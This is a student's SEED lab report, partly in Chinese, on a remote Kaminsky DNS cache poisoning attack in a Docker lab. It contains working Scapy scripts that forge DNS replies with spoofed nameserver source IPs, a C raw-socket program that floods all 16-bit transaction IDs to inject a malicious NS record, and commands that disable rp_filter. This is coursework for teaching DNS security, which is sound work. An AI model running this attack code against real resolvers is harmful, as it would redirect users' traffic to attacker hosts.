

SEED Lab3: Remote DNS Cache Poisoning Attack Lab (Kaminsky)

徐锦云 23307130447

SEED Lab3: Remote DNS Cache Poisoning Attack Lab (Kaminsky)

1. 实验目的与环境概述
 - 1.1 目的
 - 1.2 拓扑与角色
 - 1.3 本实验固定配置要点
2. Task 1: 环境搭建与 DNS 配置验证
 - 2.1 任务要求
 - 2.2 原理简述
 - 2.3 运行指令
 - 2.4 实验结果
3. Task 2: 构造 DNS 请求程序
 - 3.1 任务要求
 - 3.2 设计说明
 - 3.3 代码
 - 3.4 运行指令
 - 3.5 验证与截图
4. Task 3: 伪造 DNS 响应
 - 4.1 任务要求
 - 4.2 字段取值理由
 - 4.3 代码
 - 4.4 运行指令
 - 4.5 截图
5. Task 4: 发起 Kaminsky 攻击
 - 5.1 任务要求
 - 5.2 混合实现说明-代码
 - 5.3 准备与运行指令
 - 5.5 结果说明与截图
6. Task 5: 攻击效果验证
 - 6.1 任务要求
 - 6.2 原理简述
 - 6.3 运行指令
 - 6.4 截图

1. 实验目的与环境概述

1.1 目的

- 理解 DNS 递归解析流程及缓存作用。
- 在**不能嗅探** Apollo 与权威之间链路的条件下，体会远程 Kaminsky 攻击：通过随机子域绕过「错误 NXDOMAIN/A 长期占用缓存」的障碍，并用大量伪造响应猜测 16 位 DNS 事务 ID。
- 掌握 BIND 本地转发区、`query-source port` 固定端口、`rndc` 查看/清空缓存等运维操作。

1.2 拓扑与角色

角色	容器 / 地址	说明
User (用户机)	user-10.9.0.5 / 10.9.0.5	/etc/resolv.conf 将 10.9.0.53 设为首选 DNS
本地 DNS (Apollo)	local-dns-server-10.9.0.53 / 10.9.0.53	BIND 9, /etc/bind/named.conf
攻击者权威 NS	attacker-ns-10.9.0.153 / 10.9.0.153	区: attacker32.com 与伪造 example.com
攻击发送主机	seed-attacker (network_mode: host) 或 VM 宿主机	需 root 发原始套接字包; 与 VM 共享 ./volumes

1.3 本实验固定配置要点

- 固定源端口 33333: 在 image_local_dns_server/named.conf.options 中设置 query-source port 33333; , 使 Apollo 向外部权威发起查询时源 UDP 端口可预测, 便于伪造响应指向 dport=33333 。
- DNSSEC 关闭: dnssec-validation no; \ dnssec-enable no; , 避免验证伪造签名失败。
- rndc: 在 Apollo 容器内使用 rndc dumpdb -cache、rndc flush 检查与清空缓存。
- 攻击者权威区: attacker32.com 与 example.com 均在 10.9.0.153 上解析; 其中 www.example.com 在伪造区中指向攻击者选定 IP (本仓库 zone_example.com 中为 1.2.3.5) , 用于 Task 5 对比。

2. Task 1: 环境搭建与 DNS 配置验证

2.1 任务要求

启动 Compose 后, 在 **User 容器**上验证:

- dig ns.attacker32.com — 经本地 DNS 转发到 10.9.0.153 的区。
- dig www.example.com — 经本地 DNS 走**真实** Internet 权威 (结果随公网变更, 可能与手册中的 93.184.216.34 不同) 。
- dig @ns.attacker32.com www.example.com — **绕过**本地缓存逻辑、直接问攻击者权威, 应得到伪造区中的地址。

2.2 原理简述

- Apollo 上 named.conf 对 attacker32.com 配置了 type forward , 因此对该域的查询被转发到 10.9.0.153。
- 对 example.com 无转发时走默认递归, 最终由 ICANN/运营方权威返回**真实** www 记录。
- 第三条命令显式指定 @ns.attacker32.com , 客户端直接向攻击者 NS 发问, 用于与投毒成功后「经本地 DNS 解析」的结果对比。

2.3 运行指令

在项目根目录执行：

```
sudo sysctl -w kernel.randomize_va_space=0
bash scripts/task1_verify_dns.sh
```

```
#!/bin/bash
# Task 1: 在 User 容器内验证 DNS 拓扑（需已 dcup）
set -euo pipefail
USER_CTN="${USER_CTN:-user-10.9.0.5}"

echo "=== Task 1: 在 $USER_CTN 上执行 dig 验证 ==="
docker exec "$USER_CTN" sh -c 'echo "--- dig ns.attacker32.com (经本地 DNS 转发到 10.9.0.153) ---" && dig +noall +answer ns.attacker32.com'
docker exec "$USER_CTN" sh -c 'echo "--- dig www.example.com (经本地 DNS 查真实权威) ---" && dig +noall +answer www.example.com'
docker exec "$USER_CTN" sh -c 'echo "--- dig @ns.attacker32.com www.example.com (直接问攻击者权威) ---" && dig +noall +answer @ns.attacker32.com www.example.com'
```

2.4 实验结果

```
seed@VM: ~/.../Labsetup-DNS
[04/26/26] seed@VM:~/.../Labsetup-DNS$ bash scripts/task1_verify_dns.sh
=== Task 1: 在 user-10.9.0.5 上执行 dig 验证 ===
--- dig ns.attacker32.com (经本地 DNS 转发到 10.9.0.153) ---
ns.attacker32.com.      258689  IN      A        10.9.0.153
--- dig www.example.com (经本地 DNS 查真实权威) ---
www.example.com.       300     IN      A        104.20.23.154
www.example.com.       300     IN      A        172.66.147.243
--- dig @ns.attacker32.com www.example.com (直接问攻击者权威) ---
www.example.com.       259200  IN      A        1.2.3.5
[04/26/26] seed@VM:~/.../Labsetup-DNS$
```

3. Task 2：构造 DNS 请求程序

3.1 任务要求

编写程序向 **Apollo (10.9.0.53)** 发送对 `*.example.com`（随机子域）的查询，使其向外递归；可用 Scapy。性能要求不高。

Students need to write a program to send out DNS queries to the target DNS server (i.e., the local DNS server in our setup). Students' job is to write this program and demonstrate (using Wireshark) that their queries can trigger the target DNS server to send out corresponding DNS queries. The performance requirement for this task is not high, so students can use C or Python (using Scapy) to write this code. A Python code snippet is provided in the following (the +++'s are placeholders; students need to replace them with actual values):

```
Qdsec = DNSQR(qname='www.example.com')
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0,
          arcount=0, qd=Qdsec)

ip = IP(dst='+++', src='+++')
udp = UDP(dport=+++, sport=+++, chksum=0)
request = ip/udp/dns
```

3.2 设计说明

- **目的端口 53:** 客户端→本地 DNS 的标准端口。
- **33333 不是本任务的 dport:** 33333 仅出现在 Apollo→权威的源端口 (query-source port)，与手册简化实验一致。填错会导致无法对应后续伪造响应端口。
- 随机 5 字母子域与 Task 4 中 C 程序策略一致，便于整条实验链对照。

3.3 代码

实现文件: `Files/task2_construct_request.py`。

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
```

```
=====
Task 2: 构造 DNS 查询并发送至本地 DNS (Apollo / 10.9.0.53)
=====
```

实验目的:

攻击者需主动触发目标递归服务器向外发起查询，才有机会在「应答窗口」内注入伪造响应。本子域随机化（如 `abcde.example.com`）可避免命中 Apollo 上已有缓存，从而每次都能迫使 Apollo 向 `example.com` 的真实权威发起递归。

端口说明（与手册「固定 33333」一致）:

- Apollo 在 `**UDP 53**` 上接收来自客户端的递归查询，故本脚本 `dport=53`。
- ``query-source port 33333`` 出现在 Apollo `**向外**`发起到权威服务器时使用的 `**源端口**`，不是客户端发往 Apollo 的目的端口。切勿把 `dport` 错填为 33333。

依赖与权限:

- 需要 Scapy: ``pip3 install scapy`` 或 ``sudo apt-get install python3-scapy``
- ``send()`` 通常需要 root: ``sudo python3 task2_construct_request.py``

验证方式（实验报告 / wireshark）:

在 Apollo 或链路上抓包，应能看到发往 `example.com` 权威、源端口为 33333 的 DNS 查询，其 QNAME 与本脚本打印的随机名一致。

```
"""
```

```
import argparse
```

```

import random
import string
import time

from scapy.all import DNS, DNSQR, IP, UDP, send

def random_label(n: int = 5) -> str:
    """生成 n 个小写字母的随机标签，与 attack.c 中 5 字节占位策略一致。"""
    return "".join(random.choices(string.ascii_lowercase, k=n))

def main():
    p = argparse.ArgumentParser(
        description="Task2: 向本地 DNS 发送随机子域的 example.com 查询以触发递归"
    )
    p.add_argument("--dst", default="10.9.0.53", help="本地 DNS 服务器 (Apollo) IPv4")
    p.add_argument(
        "--src",
        default=None,
        help="IPv4 源地址: 默认由内核根据路由选路。若在特殊路由下可显式指定",
    )
    p.add_argument(
        "--dport",
        type=int,
        default=53,
        help="DNS 目的端口: 对 Apollo 始终为 53",
    )
    p.add_argument(
        "--sport",
        type=int,
        default=33334,
        help="本机源端口, 仅用于区分会话, 可任意未被占用的值",
    )
    p.add_argument("--count", type=int, default=5, help="发送查询的次数")
    p.add_argument("--interval", type=float, default=0.5, help="两次发送之间的间隔 (秒)")
    args = p.parse_args()

    for i in range(args.count):
        sub = random_label(5)
        qname = f"{sub}.example.com"

        # Question 段: 标准递归查询, qr=0 表示查询而非响应
        qd = DNSQR(qname=qname)
        dns = DNS(
            id=random.randint(1, 0xFFFF), # 客户端侧事务 ID, 与 Task4 攻击无关
            qr=0, # query
            qdcount=1,
            ancount=0,
            nscount=0,
            arcount=0,
            qd=qd,
        )

```

```

# 组装 IP/UDP/DNS; 若指定 src, 则用于多网卡或策略路由场景
if args.src:
    pkt = IP(dst=args.dst, src=args.src) / UDP(
        dport=args.dport, sport=args.sport
    ) / dns
else:
    pkt = IP(dst=args.dst) / UDP(dport=args.dport, sport=args.sport) / dns

send(pkt, verbose=0)
print(f"[{i+1}/{args.count}] sent query for {qname}")
time.sleep(args.interval)

if __name__ == "__main__":
    main()

```

3.4 运行指令

```
sudo python3 Files/task2_construct_request.py --dst 10.9.0.53 --count 10
```

```

[04/26/26]seed@VM:~/.../Labsetup-DNS$ sudo python3 Files/task2_construct_request
.py --dst 10.9.0.53 --count 10
[1/10] sent query for bjwuw.example.com
[2/10] sent query for vbvmw.example.com
[3/10] sent query for vxajl.example.com
[4/10] sent query for wobzq.example.com
[5/10] sent query for tetrrp.example.com
[6/10] sent query for ochpk.example.com
[7/10] sent query for naayy.example.com
[8/10] sent query for bhage.example.com
[9/10] sent query for tkzhk.example.com
[10/10] sent query for xldwg.example.com

```

3.5 验证与截图

使用 **Wireshark** 在宿主机或 Docker 网桥抓包, 过滤 `dns && ip.addr==10.9.0.53`, 应看到:

- 来自攻击脚本的查询 → Apollo:53;
- Apollo 发往公网权威的查询, **源端口为 33333**。

示意抓包截图:

```

No.      Time                Source                Destination           Protocol Length Info
 104 2026-04-26 22:40:08.237487973 10.9.0.1             10.9.0.53            DNS           79      Standard
query 0x6fbf A crxpm.example.com
Frame 104: 79 bytes on wire (632 bits), 79 bytes captured (632 bits) on interface any, id 0
Interface id: 0 (any)
Encapsulation type: Linux cooked-mode capture (25)
Arrival Time: Apr 26, 2026 22:40:08.237487973 EDT
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1777257608.237487973 seconds
[Time delta from previous captured frame: 0.015444478 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 17.259345222 seconds]
Frame Number: 104
Frame Length: 79 bytes (632 bits)
Capture Length: 79 bytes (632 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: sll:ethertype:ip:udp:dns]
[Coloring Rule Name: UDP]
[Coloring Rule String: udp]
Linux cooked capture
Internet Protocol Version 4, Src: 10.9.0.1, Dst: 10.9.0.53
User Datagram Protocol, Src Port: 33334, Dst Port: 53
Domain Name System (query)

```

No.	Time	Source	Destination	Protocol	Length	Info
117	2026-04-26 22:4...	10.9.0.1	10.9.0.53	DNS	79	Standard query 0x06a7 A zvkjc.example.com
118	2026-04-26 22:4...	10.9.0.53	172.64.32.162	DNS	102	Standard query 0xe614 A zvkjc.example.com OPT
119	2026-04-26 22:4...	10.9.0.53	172.64.32.162	DNS	102	Standard query 0xe614 A zvkjc.example.com OPT
122	2026-04-26 22:4...	172.64.32.162	10.9.0.53	DNS	418	Standard query response 0xe614 A zvkjc.example.com SOA elliot...
123	2026-04-26 22:4...	172.64.32.162	10.9.0.53	DNS	418	Standard query response 0xe614 A zvkjc.example.com SOA elliot...
124	2026-04-26 22:4...	10.9.0.53	10.9.0.1	DNS	158	Standard query response 0x06a7 A zvkjc.example.com SOA elliot...
125	2026-04-26 22:4...	10.9.0.53	10.9.0.1	DNS	158	Standard query response 0x06a7 A zvkjc.example.com SOA elliot...

4. Task 3: 伪造 DNS 响应

4.1 任务要求

3.3 Task 3: Spoof DNS Replies.

In this task, we need to spoof DNS replies in the Kaminsky attack. Since our target is `example.com`, we need to spoof the replies from this domain's nameserver. Students first need to find out the IP addresses of `example.com`'s legitimate nameservers (it should be noted that there are multiple nameservers for this domain).

Students can use Scapy to implement this task. The following code snippet constructs a DNS response packet that includes a question section, an answer section, and an NS section. In the sample code, we use `+++` as placeholders; students need to replace them with the correct values that are needed in the Kaminsky attack. Students need to explain why they pick those values.

伪造来自 `example.com` 合法权威的响应：包含 Question、Answer、NS (Authority)；NS 须将 `example.com` 指向 `ns.attacker32.com`。需说明各字段取值原因，并用 Wireshark 证明报文有效。

4.2 字段取值理由

字段	取值	原因
IP.dst	10.9.0.53	接收方必须是 Apollo
IP.src	如 172.64.35.228	须为 <code>dig NS example.com</code> 解析出的某一 NS 的 A 地址，否则 BIND 丢弃
UDP.dport	33333	与 Apollo 对外查询的 <code>query-source port</code> 一致
UDP.sport	53	权威侧标准 DNS 端口

字段	取值	原因
DNS 各段	QNAME + A + NS	Kaminsky 需在 Authority 注入错误 NS 委派
DNS.id	演示可用固定值	真实攻击需与查询一致（Task 4 穷举）

权威 NS 及 A 记录可用以下命令现场核对：

```
dig +short NS example.com
dig +short A elliottns.cloudflare.com
```

4.3 代码

Files/task3_spoof_reply.py

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
=====
Task 3: 构造「看似来自 example.com 权威」的伪造 DNS 响应
=====

实验目的：
    演示 Kaminsky 攻击中伪造应答的结构：Answer 提供随机子域的 A 记录，
    Authority 将 example.com 的 NS 指向 ns.attacker32.com。单包或少量包
    无法完成真实投毒（事务 ID 与时机需匹配），但可用 Wireshark 验证报文格式正确。

字段取值说明（须在报告中解释）：
    - **dst=victim-dns**：伪造包的目的 IP 为 Apollo（10.9.0.53）。
    - **src=spoof-src**：源 IP 必须伪装成 example.com 当前真实权威 NS 之一，
      否则递归服务器会丢弃来源不明的响应。可用 `dig +short NS example.com` 与
      `dig +short A <ns主机名>` 获取 A 记录。
    - **UDP dport=33333, sport=53**：与 BIND 中 `query-source port 33333` 一致，
      Apollo 等待权威应答时本地套接字为 33333；权威侧源端口为 53。
    - **DNS id**：须与 Apollo 发出的查询事务 ID 一致才会被接受；演示代码中
      可固定为 0xAAAA 便于过滤，真实攻击中由 Task4 高速穷举。
    - **aa=1**：权威应答标志；rd=0 与常见权威响应一致（可按抓包微调）。

依赖：Scapy；发送伪造源 IP 的包通常需要 root。
"""

import argparse
import random
import string

from scapy.all import DNS, DNSQR, DNSRR, IP, UDP, send

def random_label(n: int = 5) -> str:
    """与 Task2 / attack.c 一致的 5 字母随机子域。"""
    return "".join(random.choices(string.ascii_lowercase, k=n))
```



```

def main():
    p = argparse.ArgumentParser(description="Task3: 发送伪造 DNS 响应（演示/抓包）")
    p.add_argument("--victim-dns", default="10.9.0.53", help="本地 DNS Apollo 的地址")
    p.add_argument(
        "--spoof-src",
        default="172.64.35.228",
        help="伪造源 IP: 须为 example.com 某一 NS 的 A 记录",
    )
    p.add_argument(
        "--txid",
        type=lambda x: int(x, 0),
        default=0xAAAA,
        help="DNS 事务 ID, 如 0x1234 或十进制",
    )
    p.add_argument("--count", type=int, default=3, help="发送伪造响应条数")
    args = p.parse_args()

    for i in range(args.count):
        sub = random_label(5)
        name = f"{sub}.example.com"

        # Question: 与「将要被接受」的查询一致（演示中仅结构正确即可）
        qd = DNSQR(qname=name)
        # Answer: 不存在名字的「假」A 记录, TTL 取长值以符合攻击场景
        ans = DNSRR(rrname=name, type="A", rdata="1.2.3.4", ttl=259200)
        # Authority: Kaminsky 关键 - 篡改 example.com 的 NS 委派
        ns = DNSRR(
            rrname="example.com", type="NS", rdata="ns.attacker32.com", ttl=259200
        )

        dns = DNS(
            id=args.txid,
            aa=1,
            rd=0,
            qr=1, # response
            qdcount=1,
            ancount=1,
            nscount=1,
            arcount=0,
            qd=qd,
            an=ans,
            ns=ns,
        )

        pkt = (
            IP(dst=args.victim_dns, src=args.spoof_src)
            / UDP(dport=33333, sport=53)
            / dns
        )
        send(pkt, verbose=0)
        print(f"[{i+1}] spoofed reply for {name} (id=0x{args.txid:04x})")

```

```
if __name__ == "__main__":  
    main()
```

4.4 运行指令

```
sudo python3 Files/task3_spoof_reply.py --victim-dns 10.9.0.53 --spoof-src 172.64.35.228 --  
count 3
```

若公网 NS 变更，需要同步修改 `--spoof-src` 与 `Files/attack.c` 中 `k_ns_ips[]`。

```
[04/26/26]seed@VM:~/.../Labsetup-DNS$ sudo python3 Files/task3_spoof_reply.py --  
victim-dns 10.9.0.53 --spoof-src 172.64.35.228 --count 3  
[1] spoofed reply for kttsy.example.com (id=0xaaaa)  
[2] spoofed reply for ykrlg.example.com (id=0xaaaa)  
[3] spoofed reply for vnfwy.example.com (id=0xaaaa)
```

4.5 截图

抓包部分结果如下：

dns && ip.addr==10.9.0.53							
No.	Time	Source	Destination	Protocol	Length	Info	
157	2026-04-26 23:0...	172.64.35.228	10.9.0.53	DNS	154	Standard query response	0xaaaa A kttsy.example.com A 1.2.3.4 ...
158	2026-04-26 23:0...	172.64.35.228	10.9.0.53	DNS	154	Standard query response	0xaaaa A kttsy.example.com A 1.2.3.4 ...
159	2026-04-26 23:0...	172.64.35.228	10.9.0.53	DNS	154	Standard query response	0xaaaa A ykrlg.example.com A 1.2.3.4 ...
160	2026-04-26 23:0...	172.64.35.228	10.9.0.53	DNS	154	Standard query response	0xaaaa A ykrlg.example.com A 1.2.3.4 ...
161	2026-04-26 23:0...	172.64.35.228	10.9.0.53	DNS	154	Standard query response	0xaaaa A vnfwy.example.com A 1.2.3.4 ...
162	2026-04-26 23:0...	172.64.35.228	10.9.0.53	DNS	154	Standard query response	0xaaaa A vnfwy.example.com A 1.2.3.4 ...

No.	Time	Source	Destination	Protocol	Length	Info
157	2026-04-26 23:04:41.996996823	172.64.35.228	10.9.0.53	DNS	154	Standard

query response 0xaaaa A kttsty.example.com A 1.2.3.4 NS ns.attacker32.com

Frame 157: 154 bytes on wire (1232 bits), 154 bytes captured (1232 bits) on interface any, id 0

Interface id: 0 (any)

Interface name: any

Encapsulation type: Linux cooked-mode capture (25)

Arrival Time: Apr 26, 2026 23:04:41.996996823 EDT

[Time shift for this packet: 0.000000000 seconds]

Epoch Time: 1777259081.996996823 seconds

[Time delta from previous captured frame: 0.023450418 seconds]

[Time delta from previous displayed frame: 0.000000000 seconds]

[Time since reference or first frame: 18.831987955 seconds]

Frame Number: 157

Frame Length: 154 bytes (1232 bits)

Capture Length: 154 bytes (1232 bits)

[Frame is marked: False]

[Frame is ignored: False]

[Protocols in frame: sll:ethertype:ip:udp:dns]

[Coloring Rule Name: UDP]

[Coloring Rule String: udp]

Linux cooked capture

Internet Protocol Version 4, Src: 172.64.35.228, Dst: 10.9.0.53

0100 = Version: 4

.... 0101 = Header Length: 20 bytes (5)

Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)

0000 00.. = Differentiated Services Codepoint: Default (0)

.... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)

Total Length: 138

Identification: 0x0001 (1)

Flags: 0x0000

0... .. = Reserved bit: Not set

.0.. .. = Don't fragment: Not set

..0. = More fragments: Not set

Fragment offset: 0

Time to live: 64

Protocol: UDP (17)

Header checksum: 0xa000 [validation disabled]

[Header checksum status: Unverified]

Source: 172.64.35.228

Destination: 10.9.0.53

User Datagram Protocol, Src Port: 53, Dst Port: 33333

Source Port: 53

Destination Port: 33333

Length: 118

Checksum: 0x645c [unverified]

[Checksum Status: Unverified]

[Stream index: 0]

[Timestamps]

Domain Name System (response)

5. Task 4: 发起 Kaminsky 攻击

5.1 任务要求

Now we can put everything together to conduct the Kaminsky attack. In the attack, we need to send out many spoofed DNS replies, hoping one of them hits the correct transaction number and arrives sooner than the legitimate replies. Therefore, speed is essential: the more packets we can send out, the higher the success rate is. If we use Scapy to send the spoofed DNS replies like what we did in the previous task, the success rate is too low. Students can use C, but constructing DNS packets in C is non-trivial. We introduce a hybrid approach using both Scapy and C (see the SEED book for details).

With the hybrid approach, we first use Scapy to generate a DNS packet template, which is stored in a file. We then load this template into a C program, and make small changes to some of the fields, and then send out the packet. We have included a skeleton C code in Labsetup/Files/attack.c. Students can make changes in the marked areas. Detailed explanation of the code is given in the guideline section.

Check the DNS cache. To check whether the attack is successful or not, we need to check the dump.db file to see whether our spoofed DNS response has been successfully accepted by the DNS server. The following commands dump the DNS cache, and search whether the cache contains the word attacker (in our attack, we used attacker32.com as the attacker's domain; if students use a different domain name, they should search for a different word).

```
# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
```

将 Task 2/3 思路合并：每次随机子域查询 + 大量伪造响应（随机事务 ID + 轮换权威源 IP），提高在合法应答返回前「猜中」的概率；用 `rndc dumpdb -cache` 并在 `dump.db` 中搜索 `attacker` 等验证缓存是否出现投毒线索。

5.2 混合实现说明-代码

1. **Scapy 生成模板：** Files/generate_dns_templates.py 写出 ip_req.bin、ip_resp.bin，保证与 attack.c 中字节偏移一致（对 twysw.example.com 有 assert）。它调用了2和3。

```
#!/usr/bin/env python3
"""为 Task4 生成 ip_req.bin / ip_resp.bin（与 attack.c 偏移一致）。"""
import argparse
import os
import subprocess
import sys
from pathlib import Path

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--out-dir", required=True)
    ap.add_argument("--src-attacker", default=None, help="发往 10.9.0.53 的源 IP")
    args = ap.parse_args()
    out = Path(args.out_dir)
    out.mkdir(parents=True, exist_ok=True)
    root = Path(__file__).resolve().parent

    src = args.src_attacker or os.environ.get("SRC_IP")
    if not src and sys.platform != "win32":
        try:
            out_txt = subprocess.check_output(
                ["ip", "-4", "route", "get", "10.9.0.53"],
                text=True,
                stderr=subprocess.DEVNULL,
            )
```

```

        parts = out_txt.split()
        if "src" in parts:
            src = parts[parts.index("src") + 1]
        except (subprocess.CalledProcessError, FileNotFoundError, IndexError):
            pass
    src = src or "10.9.0.1"

    py = sys.executable
    subprocess.check_call(
        [py, str(root / "gen_dns_request.py"), "--src", src, "--out", str(out /
"ip_req.bin")]
    )
    subprocess.check_call([py, str(root / "gen_dns_response.py"), "--out", str(out /
"ip_resp.bin")])

if __name__ == "__main__":
    main()

```

2. gen_dns_request.py

```

#!/usr/bin/env python3
"""生成 ip_req.bin; qname 使用 5 字母前缀 austi (与 attack.c 中 memcpy 5 字节一致)"""
import argparse
import os

from scapy.all import DNS, DNSQR, IP, UDP

def main():
    p = argparse.ArgumentParser()
    p.add_argument("--src", default=os.environ.get("SRC_IP", "10.0.0.5"),
        help="须与 VM 发往 10.9.0.53 的真实源 IP 一致, 可用: ip -4 route get 10.9.0.53")
    p.add_argument("--dst", default="10.9.0.53")
    p.add_argument("--out", default="ip_req.bin")
    args = p.parse_args()

    ip = IP(dst=args.dst, src=args.src)
    udp = UDP(dport=53, sport=50945, checksum=0)
    Qdsec = DNSQR(qname="austi.example.com")
    dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
    pkt = ip / udp / dns
    data = bytes(pkt)
    assert data[41:46] == b"austi"
    with open(args.out, "wb") as f:
        f.write(data)
    print("Wrote", args.out, len(data), "bytes, austi @41 OK")

if __name__ == "__main__":
    main()

```

3. gen_dns_reponse.py

```
#!/usr/bin/env python3
"""生成 ip_resp.bin: C 程序会覆盖 id、qname 标签、Answer 标签，并轮换 IP.src 为真实 NS。"""
import argparse

from scapy.all import DNS, DNSQR, DNSRR, IP, UDP

def main():
    p = argparse.ArgumentParser()
    p.add_argument(
        "--src-ns",
        default="172.64.35.228",
        help="模板初始 src (任意); 运行时被 attack.c 替换为 Cloudflare NS 之一",
    )
    p.add_argument("--dst", default="10.9.0.53")
    p.add_argument("--out", default="ip_resp.bin")
    args = p.parse_args()

    ip = IP(dst=args.dst, src=args.src_ns)
    udp = UDP(dport=33333, sport=53, checksum=0)

    Qdsec = DNSQR(qname="austi.example.com")
    Anssec = DNSRR(
        rrname="austi.example.com", type="A", rdata="1.2.3.4", ttl=259200
    )
    NSsec = DNSRR(
        rrname="example.com", type="NS", rdata="ns.attacker32.com", ttl=259200
    )
    dns = DNS(
        id=0xAAAA,
        aa=1,
        rd=1,
        qr=1,
        qdcount=1,
        qd=Qdsec,
        anccount=1,
        an=Anssec,
        nscount=1,
        ns=NSsec,
    )
    pkt = ip / udp / dns
    data = bytes(pkt)
    assert data[41:46] == b"austi" and data[64:69] == b"austi"
    with open(args.out, "wb") as f:
        f.write(data)
    print("Wrote", args.out, len(data), "bytes, offsets 41/64 OK")

if __name__ == "__main__":
    main()
```

4. **C 程序**: `Files/attack.c` (同步到 `volumes/attack.c`) 读取模板, 仅修改少量字节 (子域 5 字符、DNS ID、IP 源地址、校验和), 用原始套接字高速发送。

```
#include <arpa/inet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define MAX_FILE_SIZE 1000000
#define QNAME_OFFSET 41
#define ANS_NAME_OFFSET 64
#define TRANS_ID_OFFSET 28
#define IP_SRC_OFFSET 12
#define IP_CSUM_OFFSET 10

/*
 * example.com 权威 NS 的 A 记录会变化; BIND 只会接受「与其查询目标一致」的源 IP。
 * 下列列表尽量覆盖当前 Cloudflare NS 与旧版实验 IP; 若仍失败可在容器外 dig +short NS/A 后增补。
 */
static const char *NS_IP_STRS[] = {
    "162.159.44.228", "108.162.195.228", "172.64.35.228",
    "173.245.58.162", "108.162.192.162", "172.64.32.162",
    "199.43.133.53", "199.43.135.53",
};

#define NS_N (int)(sizeof(NS_IP_STRS) / sizeof(NS_IP_STRS[0]))

struct ipheader {
    unsigned char iph_ihl : 4, iph_ver : 4;
    unsigned char iph_tos;
    unsigned short int iph_len;
    unsigned short int iph_ident;
    unsigned short int iph_flag : 3, iph_offset : 13;
    unsigned char iph_ttl;
    unsigned char iph_protocol;
    unsigned short int iph_chksum;
    struct in_addr iph_sourceip;
    struct in_addr iph_destip;
};

static uint32_t ns_addrs[NS_N];

static void compute_ip_checksum(unsigned char *pkt)
{
    int ihl = (pkt[0] & 0x0f) * 4;
    pkt[IP_CSUM_OFFSET] = 0;
    pkt[IP_CSUM_OFFSET + 1] = 0;
    uint32_t sum = 0;
    for (int i = 0; i < ihl; i += 2)
        sum += ((uint32_t)pkt[i] << 8) + pkt[i + 1];
    while (sum >> 16)
```

```

        sum = (sum & 0xffff) + (sum >> 16);
        uint16_t csum = (uint16_t)~sum;
        pkt[IP_CSUM_OFFSET] = (unsigned char)(csum >> 8);
        pkt[IP_CSUM_OFFSET + 1] = (unsigned char)(csum & 0xff);
    }

    static void set_ipv4_src(unsigned char *pkt, uint32_t src_be)
    {
        memcpy(pkt + IP_SRC_OFFSET, &src_be, 4);
        compute_ip_checksum(pkt);
    }

    static int g_rawsock = -1;

    static void send_raw_packet(const unsigned char *buffer, int pkt_size)
    {
        struct sockaddr_in dest_info;
        struct ipheader *ip = (struct ipheader *)buffer;

        memset(&dest_info, 0, sizeof(dest_info));
        dest_info.sin_family = AF_INET;
        dest_info.sin_addr = ip->iph_destip;

        if (sendto(g_rawsock, buffer, pkt_size, 0, (struct sockaddr *)&dest_info,
                    sizeof(dest_info)) < 0) {
            perror("sendto");
        }
    }

    static void send_dns_request(unsigned char *pkt, int pktsize, const char *name)
    {
        memcpy(pkt + QNAME_OFFSET, name, 5);
        send_raw_packet(pkt, pktsize);
    }

    static void send_dns_response(unsigned char *pkt, int pktsize, const char *name,
                                   unsigned short id, uint32_t spoof_src_be)
    {
        memcpy(pkt + QNAME_OFFSET, name, 5);
        memcpy(pkt + ANS_NAME_OFFSET, name, 5);
        unsigned short net_id = htons(id);
        memcpy(pkt + TRANS_ID_OFFSET, &net_id, 2);
        set_ipv4_src(pkt, spoof_src_be);
        send_raw_packet(pkt, pktsize);
    }

    int main(void)
    {
        int enable = 1;

        srand((unsigned)time(NULL));

        for (int j = 0; j < NS_N; j++) {

```



```

    in_addr_t a = inet_addr(NS_IP_STRS[j]);
    if (a == INADDR_NONE) {
        fprintf(stderr, "bad NS IP: %s\n", NS_IP_STRS[j]);
        exit(1);
    }
    memcpy(&ns_addrs[j], &a, 4);
}

g_rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (g_rawsock < 0) {
    perror("socket SOCK_RAW");
    exit(1);
}
if (setsockopt(g_rawsock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)) <
    0) {
    perror("setsockopt IP_HDRINCL");
    exit(1);
}

FILE *f_req = fopen("ip_req.bin", "rb");
if (!f_req) {
    perror("Can't open 'ip_req.bin'");
    exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = (int)fread(ip_req, 1, MAX_FILE_SIZE, f_req);
fclose(f_req);

FILE *f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp) {
    perror("Can't open 'ip_resp.bin'");
    exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = (int)fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
fclose(f_resp);

const char *alpha = "abcdefghijklmnopqrstuvwxyz";

while (1) {
    char name[6];
    name[5] = '\0';
    for (int k = 0; k < 5; k++)
        name[k] = alpha[rand() % 26];

    printf("Sending DNS request for name: %s.example.com\n", name);

    send_dns_request(ip_req, n_req, name);

    /* 须在真机应答前覆盖全部 16 位 TXID; 源 IP 轮换以匹配 BIND 选中的权威 */
    for (unsigned i = 0; i < 65536u; i++) {
        uint32_t src = ns_addrs[i % (unsigned)NS_N];
        send_dns_response(ip_resp, n_resp, name, (unsigned short)i, src);
    }
}

```

```
}  
}  
}
```

5.3 准备与运行指令

```
cd ~/Desktop/Labsetup-DNS  
bash scripts/rndc_local_dns.sh flush  
bash scripts/setup_volumes.sh  
sudo bash scripts/run_task4_attack.sh
```

```
>>> 临时关闭 rp_filter (否则伪造源 IP 的包无法到达 Apollo) ...  
rp_filter=0 -> all  
rp_filter=0 -> default  
完成。可用: sysctl net.ipv4.conf.all.rp_filter  
编译并启动攻击 (Ctrl+C 停止) ...  
Sending DNS request for name: bcwdy.example.com  
